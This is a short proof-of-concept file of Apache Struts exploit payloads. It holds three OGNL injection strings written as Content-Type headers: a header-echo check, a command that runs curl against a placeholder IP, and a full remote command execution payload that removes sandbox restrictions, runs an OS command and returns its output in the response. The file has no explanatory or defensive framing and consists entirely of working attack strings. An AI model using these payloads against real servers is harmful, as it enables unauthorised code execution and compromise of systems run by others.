Apache Struts PoC

apache-struts.txt

Content-Type: application/x-www-form-urlencoded%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('Jimmy',3195*5088)}.multipart/form-data

Content-Type: application/x-www-form-urlencoded %{(#_='multipart/form-data').(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(@java.lang.Runtime@getRuntime().exec('curl http://IP'))}

Content-Type: %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}